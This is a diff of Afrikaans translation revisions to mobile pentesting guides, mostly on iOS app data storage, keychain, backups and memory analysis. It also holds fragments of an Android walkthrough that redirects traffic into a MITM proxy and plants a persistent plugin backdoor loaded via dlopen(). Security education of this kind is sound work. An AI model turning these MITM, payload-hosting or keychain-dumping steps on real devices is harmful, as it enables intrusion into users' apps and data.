@ -22,7 +22,7 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. As dit teenwoordig is, sal die aansoek **enige TLS-sertifikaat** aanvaar → jy kan 'n deursigtige **MITM-proxy** met 'n self-ondertekende sertifikaat laat loop:
3. As dit teenwoordig is, sal die toepassing **enige TLS-sertifikaat** aanvaar → jy kan 'n deursigtige **MITM-proxy** met 'n self-onderteken sertifikaat laat loop:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
@ -95,11 +95,11 @@ python3 -m http.server 8000 --directory ./payloads
```
Wanneer die slagoffer die app begin, sal dit:
* ons vervalste XML oor die MITM-kanaal verkry;
* dit met die hard-gecodeerde DES-sleutel ontcijfer en ontleed;
* dit met die hard-gekodeerde DES-sleutel ontcijfer en ontleed;
* `PWNED.zip` aflaai → uitpak binne private stoor;
* `dlopen()` die ingeslote *libscan_x64.so*, wat ons kode onmiddellik uitvoer **met die app se toestemmings** (kamera, GPS, Bluetooth, lêerstelsel, …).
Omdat die plugin op skyf geberg is, **bly die agterdeur oor herlaai** en loop elke keer wanneer die gebruiker die verwante funksie kies.
Omdat die plugin op skyf gekas is, **bly die agterdeur oor herlaai** en loop elke keer wanneer die gebruiker die verwante funksie kies.
## 5. Post-Exploitation Idees
@ -110,9 +110,9 @@ Omdat die plugin op skyf geberg is, **bly die agterdeur oor herlaai** en loop el
---
### Opsporing & Versagting Kontrolelys (blou span)
* NOOIT 'n produksiebou met 'n pasgemaakte TrustManager/HostnameVerifier wat sertifikaatvalidasie deaktiveer, verskeep nie.
* NOOIT 'n produksiebou met 'n pasgemaakte TrustManager/HostnameVerifier wat sertifikaatvalidasie deaktiveer, stuur nie.
* Moet nie uitvoerbare kode van buite Google Play aflaai nie. As jy *moet*, teken elke plugin met dieselfde **apkSigning v2** sleutel en verifieer die handtekening voordat jy laai.
* Vervang swak/hard-gecodeerde kripto met **AES-GCM** en 'n bediener-kant draaiende sleutel.
* Vervang swak/hard-gekodeerde kripto met **AES-GCM** en 'n bediener-kant draaiende sleutel.
* Verifieer die integriteit van afgelaaide argiewe (handtekening of ten minste SHA-256).
---

View File

@ -154,7 +154,7 @@ PID Name Identifier
```
### Basiese Enumerasie & Hooking
Leer hoe om die **komponente van die toepassing te evalueer** en hoe om maklik **metodes en klasse te hook** met objection:
Leer hoe om die **komponente van die toepassing te enumerate** en hoe om maklik **metodes en klasse te hook** met objection:
{{#ref}}
ios-hooking-with-objection.md
@ -162,12 +162,12 @@ ios-hooking-with-objection.md
### IPA Struktuur
Die struktuur van 'n **IPA-lêer** is in wese dié van 'n **gecomprimeerde pakket**. Deur die uitbreiding na `.zip` te hernoem, kan dit **dekomprimeer** word om sy inhoud te onthul. Binne hierdie struktuur verteenwoordig 'n **Bundle** 'n volledig verpakte toepassing wat gereed is vir installasie. Binne-in sal jy 'n gids met die naam `<NAME>.app` vind, wat die hulpbronne van die toepassing insluit.
Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gecomprimeerde pakket**. Deur sy uitbreiding na `.zip` te hernoem, kan dit **ontspanne** word om sy inhoud te onthul. Binne hierdie struktuur verteenwoordig 'n **Bundle** 'n volledig verpakte toepassing wat gereed is vir installasie. Binne-in sal jy 'n gids vind met die naam `<NAME>.app`, wat die toepassing se hulpbronne insluit.
- **`Info.plist`**: Hierdie lêer hou spesifieke konfigurasiedetails van die toepassing.
- **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat, wat die integriteit van alle lêers in die bundel verseker.
- **`Assets.car`**: 'n Gecomprimeerde argief wat hulpbronlêers soos ikone stoor.
- **`Frameworks/`**: Hierdie gids bevat die toepassing se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
- **`Frameworks/`**: Hierdie gids huisves die toepassing se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
- **`PlugIns/`**: Dit kan uitbreidings van die toepassing insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou toepassing se permanente data vir offline gebruik te stoor, om tydelike data te kas, en om ongedaan maak funksionaliteit aan jou app op 'n enkele toestel toe te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinkroniseer, spieël Core Data outomaties jou skema na 'n CloudKit-container.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Die `PkgInfo`-lêer is 'n alternatiewe manier om die tipe en skepper kodes van jou toepassing of bundel te spesifiseer.
- **en.lproj, fr.proj, Base.lproj**: Is die taal pakkette wat hulpbronne vir daardie spesifieke tale bevat, en 'n standaard hulpbron in die geval dat 'n taal nie ondersteun word nie.
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Onder die menigte inligting wat die **Info.plist** lêer kan bekendmaak, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik:
Onder die menigte inligting wat die **Info.plist** lêer kan bekendmaak, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokument tipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik:
```bash
$ grep -i <keyword> Info.plist
```
@ -202,7 +202,7 @@ In die iOS-omgewing is gidse spesifiek aangewys vir **stelsels toepassings** en
> [!WARNING]
> Aangesien toepassings in iOS in 'n sandbox moet wees, sal elke app ook 'n gids hê binne **`$HOME/Library/Containers`** met die app se **`CFBundleIdentifier`** as die gidsnaam.
>
> egter, beide gidse (data & houer gidse) het die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers verbind in die sleutel `MCMetadataIdentifier`).
> Beide gidse (data & houer gidse) het egter die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers verbind in die sleutel `MCMetadataIdentifier`).
Om die ontdekking van 'n gebruikers geïnstalleerde app se installasie gids te vergemaklik, bied die **objection tool** 'n nuttige opdrag, `env`. Hierdie opdrag onthul gedetailleerde gidse inligting vir die betrokke app. Hieronder is 'n voorbeeld van hoe om hierdie opdrag te gebruik:
```bash
@ -227,43 +227,43 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**Bundle directory:**
- **AppName.app**
- Dit is die Toepassing Bundel soos voorheen in die IPA gesien, dit bevat noodsaaklike toepassingsdata, statiese inhoud sowel as die toepassings se gecompileerde binêre.
- Dit is die Aansoek Bundel soos voorheen in die IPA gesien, dit bevat noodsaaklike aansoekdata, statiese inhoud sowel as die aansoek se gecompileerde binêre.
- Hierdie gids is sigbaar vir gebruikers, maar **gebruikers kan nie daarin skryf nie**.
- Inhoud in hierdie gids is **nie gebackup nie**.
- Inhoud in hierdie gids is **nie geback-up nie**.
- Die inhoud van hierdie vouer word gebruik om die **kodehandtekening te valideer**.
**Data directory:**
- **Documents/**
- Bevat al die gebruiker-gegenereerde data. Die toepassings eindgebruiker begin die skepping van hierdie data.
- Bevat al die gebruiker-gegenereerde data. Die aansoek eindgebruiker begin die skepping van hierdie data.
- Sigbaar vir gebruikers en **gebruikers kan daarin skryf**.
- Inhoud in hierdie gids is **gebackup**.
- Die app kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
- Inhoud in hierdie gids is **gebak-up**.
- Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
- **Library/**
- Bevat al **lêers wat nie gebruiker-spesifiek is nie**, soos **caches**, **voorkeure**, **cookies**, en eiendomslys (plist) konfigurasielêers.
- iOS-apps gebruik gewoonlik die `Application Support` en `Caches` subgidsen, maar die app kan pasgemaakte subgidsen skep.
- Bevat al **lêers wat nie gebruiker-spesifiek is nie**, soos **kaste**, **voorkeure**, **koekies**, en eiendomslys (plist) konfigurasielêers.
- iOS aansoeke gebruik gewoonlik die `Application Support` en `Caches` subgidsen, maar die aansoek kan pasgemaakte subgidsen skep.
- **Library/Caches/**
- Bevat **semi-permanente gekapte lêers.**
- Bevat **semi-permanente gekaste lêers.**
- Onsigbaar vir gebruikers en **gebruikers kan nie daarin skryf nie**.
- Inhoud in hierdie gids is **nie gebackup nie**.
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die app nie loop nie en stoorplek laag is.
- Inhoud in hierdie gids is **nie geback-up nie**.
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek laag is.
- **Library/Application Support/**
- Bevat **permanente** **lêers** wat nodig is om die app te laat loop.
- Bevat **permanente** **lêers** wat nodig is om die aansoek te laat loop.
- **Onsigbaar** **vir** **gebruikers** en gebruikers kan nie daarin skryf nie.
- Inhoud in hierdie gids is **geback** **up**.
- Die app kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
- Inhoud in hierdie gids is **gebak** **up**.
- Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
- **Library/Preferences/**
- Gebruik om eienskappe te stoor wat kan **volhard selfs nadat 'n toepassing herbegin is**.
- Inligting word onversleuteld, binne die toepassings sandkas in 'n plist-lêer genaamd \[BUNDLE_ID].plist gestoor.
- Gebruik om eienskappe te stoor wat kan **volhard selfs nadat 'n aansoek herbegin is**.
- Inligting word onversleuteld, binne die aansoek sandbox in 'n plist-lêer genaamd \[BUNDLE_ID].plist gestoor.
- Alle sleutel/waarde pare wat met `NSUserDefaults` gestoor is, kan in hierdie lêer gevind word.
- **tmp/**
- Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen app-lanceringe moet volhard nie.
- Bevat nie-permanente gekapte lêers.
- Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoeklopies moet volhard nie.
- Bevat nie-permanente gekaste lêers.
- **Onsigbaar** vir gebruikers.
- Inhoud in hierdie gids is nie gebackup nie.
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die app nie loop nie en stoorplek laag is.
- Inhoud in hierdie gids is nie geback-up nie.
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek laag is.
Kom ons kyk nader na iGoat-Swift se Toepassing Bundel (.app) gids binne die Bundel gids (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
Kom ons kyk nader na iGoat-Swift se Aansoek Bundel (.app) gids binne die Bundel gids (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -293,7 +293,7 @@ DVIA-v2:
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
```
**Kontroleer of die app versleuteld is**
**Kontroleer of die aansoek versleuteld is**
Kyk of daar enige uitvoer is vir:
```bash
@ -366,8 +366,8 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> Die volgende plekke om inligting te stoor moet **reg na die installering van die toepassing** nagegaan word, **na die kontrole van al die funksies** van die toepassing en selfs na **uitteken van een gebruiker en inteken in 'n ander**.\
> Die doel is om **onbeskermde sensitiewe inligting** van die toepassing (wagwoorde, tokens), van die huidige gebruiker en van voorheen ingelogde gebruikers te vind.
> Die volgende plekke om inligting te stoor moet **reg na die installering van die toepassing** nagegaan word, **na die kontrole van al die funksies** van die toepassing en selfs na **afmelding van een gebruiker en aanmelding in 'n ander**.\
> Die doel is om **onbeskermde sensitiewe inligting** van die toepassing (wagwoorde, tokens), van die huidige gebruiker en van voorheen aangemelde gebruikers te vind.
### Plist
@ -391,7 +391,7 @@ Om lêers van **XML of binêre (bplist)** formaat na XML te omskakel, is verskei
```bash
$ plutil -convert xml1 Info.plist
```
**Vir Linux gebruikers:** Installeer eerst `libplist-utils`, gebruik dan `plistutil` om jou lêer te omskep:
**Vir Linux gebruikers:** Installeer eerst `libplist-utils`, gebruik dan `plistutil` om jou lêer te omskakel:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
@ -407,7 +407,7 @@ CoreData enkripteer nie sy data standaard nie. 'n Bykomende enkripsielaag kan eg
Jy kan die SQLite Core Data-inligting van 'n aansoek in die pad `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` vind.
**As jy die SQLite kan oopmaak en toegang tot sensitiewe inligting kan kry, het jy 'n verkeerde konfigurasie gevind.**
**As jy die SQLite kan oopmaak en toegang tot sensitiewe inligting kan kry, het jy 'n mis-konfigurasie gevind.**
```objectivec:Code from iGoat
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
@ -438,7 +438,7 @@ Aangesien die Yap databasisse sqlite databasisse is, kan jy hulle vind met die v
### Ander SQLite Databasisse
Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **stoor** **sensitiewe** **data** daarop en dit onversleuteld laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids na te gaan. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **sensitiewe** **data** daarop **stoor** en dit ongeënkripteerd laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids na te gaan. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **liggewig** en **ingebedde** databasis enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Ontwerp om inheems te wees aan **iOS** en **macOS**, bied dit die vermoë om data naatloos te sinkroniseer.
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **liggewig** en **ingebedde** databasis enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Dit is ontwerp om inheems te wees aan **iOS** en **macOS**, en bied die vermoë om data naatloos te sinkroniseer.
Om potensiële Couchbase databasisse op 'n toestel te identifiseer, moet die volgende gids ondersoek word:
```bash
@ -508,7 +508,7 @@ Om die koekie-lêer te ondersoek, kan jy [**hierdie python-skrip**](https://gith
```
### Cache
Standaard stoor NSURLSession data, soos **HTTP versoeke en antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, indien tokens, gebruikersname of enige ander sensitiewe inligting geberg is. Om die gebergde inligting te vind, open die datagids van die toepassing (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit cache word ook in die Cache.db** lêer gestoor. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n n**ormale SQLite databasis** is.
Standaard stoor NSURLSession data, soos **HTTP versoeke en antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, indien tokens, gebruikersname of enige ander sensitiewe inligting geberg is. Om die gebergde inligting te vind, open die datagids van die app (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit cache word ook in die Cache.db** lêer gestoor. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n n**ormale SQLite databasis** is.
Dit word **aanbeveel om die kas van hierdie data te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys hieronder toon verskillende maniere om dit te bereik:
@ -518,17 +518,17 @@ Dit word **aanbeveel om die kas van hierdie data te deaktiveer**, aangesien dit
Hierdie metode sal alle gebergde versoeke en antwoorde uit die Cache.db lêer verwyder.
2. As u nie die voordeel van koekies wil gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie eienskap van URLSession te gebruik, wat die stoor van koekies en kaste deaktiveer.
2. As u nie die voordeel van koekies hoef te gebruik nie, sal dit aanbeveel word om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie eienskap van URLSession te gebruik, wat die stoor van koekies en kaste deaktiveer.
[Apple dokumentasie](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`'n Ephemeral sessie konfigurasie objek is soortgelyk aan 'n standaard sessie konfigurasie (sien standaard), behalwe dat die ooreenstemmende sessie objek nie kaste, geloofwaardigheidswinkels, of enige sessie-verwante data op skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste keer dat 'n ephemeral sessie data op skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.'`
3. Cache kan ook gedeaktiveer word deur die Cache-beleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) in te stel. Dit sal die stoor van Cache op enige manier, hetsy in geheue of op skyf, deaktiveer.
3. Cache kan ook gedeaktiveer word deur die Cache-beleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) in te stel. Dit sal die stoor van Cache op enige manier deaktiveer, hetsy in geheue of op skyf.
### Snapshots
Wanneer jy die tuisknoppie druk, **neem iOS 'n snapshot van die huidige skerm** om die oorgang na die toepassing op 'n baie gladder manier te kan doen. As **sensitiewe** **data** egter op die huidige skerm teenwoordig is, sal dit in die **beeld** **gestoor** word (wat **volhard** **oor** **herlaaiings**). Dit is die snapshots waartoe jy ook toegang kan verkry deur dubbel te tik op die tuisskerm om tussen toepassings te wissel.
Wanneer jy die tuisknoppie druk, **neem iOS 'n snapshot van die huidige skerm** om die oorgang na die toepassing op 'n baie gladder manier te kan doen. As daar egter **sensitiewe** **data** op die huidige skerm is, sal dit in die **beeld** **gestoor** word (wat **volhard** **oor** **herlaaiings**). Dit is die snapshots waartoe jy ook toegang kan verkry deur dubbel te tik op die tuisskerm om tussen toepassings te wissel.
Tensy die iPhone gejailbreak is, moet die **aanvaller** **toegang** tot die **toestel** **ontsluit** hê om hierdie skermskote te sien. Standaard word die laaste snapshot in die toepassings sandkas in die `Library/Caches/Snapshots/` of `Library/SplashBoard/Snapshots` gids gestoor (die vertroude rekenaars kan nie toegang tot die lêerstelsel vanaf iOX 7.0 verkry nie).
@ -551,7 +551,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```
Doelstelling-C:
Objective-C:
```
@property (UIImageView *)backgroundImage;
@ -572,9 +572,9 @@ Dit stel die agtergrondbeeld in op `overlayImage.png` wanneer die toepassing in
Vir toegang tot en bestuur van die iOS keychain, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir jailbroken toestelle. Boonop bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes.
#### **Stoor Kredensiale**
#### **Storing Credentials**
Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die keychain te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om kredensiale na aanmelding te stoor, word die volgende Swift-kode gebruik:
Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die keychain te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om akrediteer te stoor na aanmelding, word die volgende Swift kode gebruik:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -589,10 +589,10 @@ Met iOS 8.0 en later kan gebruikers pasgemaakte toetsborduitbreidings installeer
**Sekuriteitsaanbevelings:**
- Dit word aanbeveel om derdeparty-toetsborde te deaktiveer vir verbeterde sekuriteit.
- Wees bewus van die outokorreksie en outo-sugesties funksies van die standaard iOS-toetsbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die toetsbordwoordeboek te reset via **Instellings > Algemeen > Reset > Reset Toetsbordwoordeboek** om gekapte data te verwyder.
- Wees bewus van die outokorreksie- en outo-suggesieskenmerke van die standaard iOS-toetsbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die toetsbordwoordeboek te reset via **Instellings > Algemeen > Reset > Reset Toetsbordwoordeboek** om gekapte data te verwyder.
- Die onderskep van netwerkverkeer kan onthul of 'n pasgemaakte toetsbord toetsaanslae op afstand oordra.
### **Voorkoming van Teksveldkas**
### **Voorkoming van Teksvakkas**
Die [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is om die kas van sensitiewe inligting te voorkom. Byvoorbeeld, om outokorreksie te deaktiveer en veilige teksinvoer te aktiveer kan bereik word met:
```objectivec
@ -616,7 +616,7 @@ Wanneer jy die app se bronkode hersien vir potensiële lekke, soek vir beide **v
### **Monitoring System Logs**
Apps log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, gebruik gereedskap en opdragte soos:
Toepassings log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, gebruik gereedskap en opdragte soos:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
@ -634,11 +634,11 @@ Vir meer gevorderde logging, kan die verbinding met die toestel se shell en die
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Volg op met opdragte om logaktiwiteite te observeer, wat van onskatbare waarde kan wees vir die diagnose van probleme of die identifisering van potensiële datalekke in logs.
Volg op met opdragte om logaktiwiteite te observeer, wat van onskatbare waarde kan wees om probleme te diagnoseer of potensiële datalekke in logs te identifiseer.
## Rugsteun
**Outomatiese rugsteun funksies** is in iOS geïntegreer, wat die skepping van toesteldata-kopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina) of iCloud vergemaklik. Hierdie rugsteun sluit byna alle toesteldata in, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
**Outomatiese rugsteunfunksies** is in iOS geïntegreer, wat die skepping van toesteldata-kopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina) of iCloud vergemaklik. Hierdie rugsteun sluit byna alle toesteldata in, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
### Sekuriteitsrisiko's
@ -650,7 +650,7 @@ Lêers in `Documents/` en `Library/Application Support/` word standaard gebackup
### Toetsing vir Kw vulnerabilities
Om 'n toepassing se rugsteun sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en vind dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed.
Om 'n toepassing se rugsteun-sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en lokaliseer dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed.
Sensitiewe inligting kan gesoek word met behulp van opdraglyn gereedskap of toepassings soos [iMazing](https://imazing.com). Vir versleutelde rugsteun kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die rugsteun se wortel te kontroleer.
```xml
@ -665,19 +665,19 @@ Sensitiewe inligting kan gesoek word met behulp van opdraglyn gereedskap of toep
...
</plist>
```
Vir die hantering van versleutelde rugsteun, kan Python-skripte beskikbaar in [DinoSec se GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), soos **backup_tool.py** en **backup_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir kompatibiliteit met die nuutste iTunes/Finder weergawes. Die [**iOSbackup** tool](https://pypi.org/project/iOSbackup/) is 'n ander opsie om toegang te verkry tot lêers binne wagwoord-beskermde rugsteun.
Vir die hantering van versleutelde rugsteun, kan Python-skripte beskikbaar in [DinoSec se GitHub-repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), soos **backup_tool.py** en **backup_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir kompatibiliteit met die nuutste iTunes/Finder weergawes. Die [**iOSbackup**-instrument](https://pypi.org/project/iOSbackup/) is 'n ander opsie om toegang te verkry tot lêers binne wagwoord-beskermde rugsteun.
### Wysig App Gedrag
'n Voorbeeld van die verandering van app gedrag deur rugsteun wysigings word gedemonstreer in die [Bither bitcoin wallet app](https://github.com/bither/bither-ios), waar die UI slot PIN gestoor word binne `net.bither.plist` onder die **pin_code** sleutel. Om hierdie sleutel uit die plist te verwyder en die rugsteun te herstel, verwyder die PIN vereiste, wat onbeperkte toegang bied.
'n Voorbeeld van die verandering van app gedrag deur rugsteunwysigings word gedemonstreer in die [Bither bitcoin wallet app](https://github.com/bither/bither-ios), waar die UI-slot PIN binne `net.bither.plist` onder die **pin_code** sleutel gestoor word. Om hierdie sleutel uit die plist te verwyder en die rugsteun te herstel, verwyder die PIN vereiste, wat onbeperkte toegang bied.
## Samevatting oor Geheue Toetsing vir Sensitiewe Data
Wanneer daar met sensitiewe inligting wat in 'n toepassing se geheue gestoor is, gewerk word, is dit van kardinale belang om die blootstellingstyd van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **'n geheue dump te skep** en **die geheue in werklike tyd te analiseer**. Beide metodes het hul uitdagings, insluitend die potensiaal om kritieke data tydens die dump proses of analise te mis.
Wanneer daar met sensitiewe inligting wat in 'n toepassing se geheue gestoor is, gewerk word, is dit van kardinale belang om die blootstellingstyd van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **'n geheue-dump te skep** en **die geheue in werklike tyd te analiseer**. Beide metodes het hul uitdagings, insluitend die moontlikheid om kritieke data tydens die dump-proses of analise te mis.
## **Herwin en Analiseer 'n Geheue Dump**
Vir beide jailbroken en nie-jailbroken toestelle, toelaat gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) die dumping van 'n app se proses geheue. Sodra dit gedump is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting waarna jy soek.
Vir beide jailbroken en nie-jailbroken toestelle, laat gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) die dumping van 'n app se prosesgeheue toe. Sodra dit gedump is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting waarna jy soek.
Om strings uit 'n geheue dump te onttrek, kan opdragte soos `strings` of `rabin2 -zz` gebruik word:
```bash
@ -693,7 +693,7 @@ $ r2 <name_of_your_dump_file>
[0x00000000]> /?
...
```
## **Runtime Memory Analysis**
## **Runtime Geheue Analise**
**r2frida** bied 'n kragtige alternatief om 'n app se geheue in werklike tyd te inspekteer, sonder om 'n geheue-dump te benodig. Hierdie hulpmiddel stel die uitvoering van soekopdragte direk op die lopende toepassing se geheue in staat:
```bash
@ -708,28 +708,28 @@ Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer
### Gebruik van Onveilige en/of Verouderde Algoritmes
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
### Kontrole
Die hoofkontroles om uit te voer, is om te vind of jy **hardgecodeerde** wagwoorde/geheime in die kode kan vind, of as dit **voorspelbaar** is, en of die kode 'n soort **swak** **kriptografie** algoritmes gebruik.
Dit is interessant om te weet dat jy sommige **crypto** **biblioteke** outomaties kan **moniteer** met **objection** met:
Dit is interessant om te weet dat jy sommige **crypto** **biblioteke** outomaties kan **monitor** met **objection** met:
```swift
ios monitor crypt
```
Vir **meer inligting** oor iOS-kodering API's en biblioteke, toegang [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
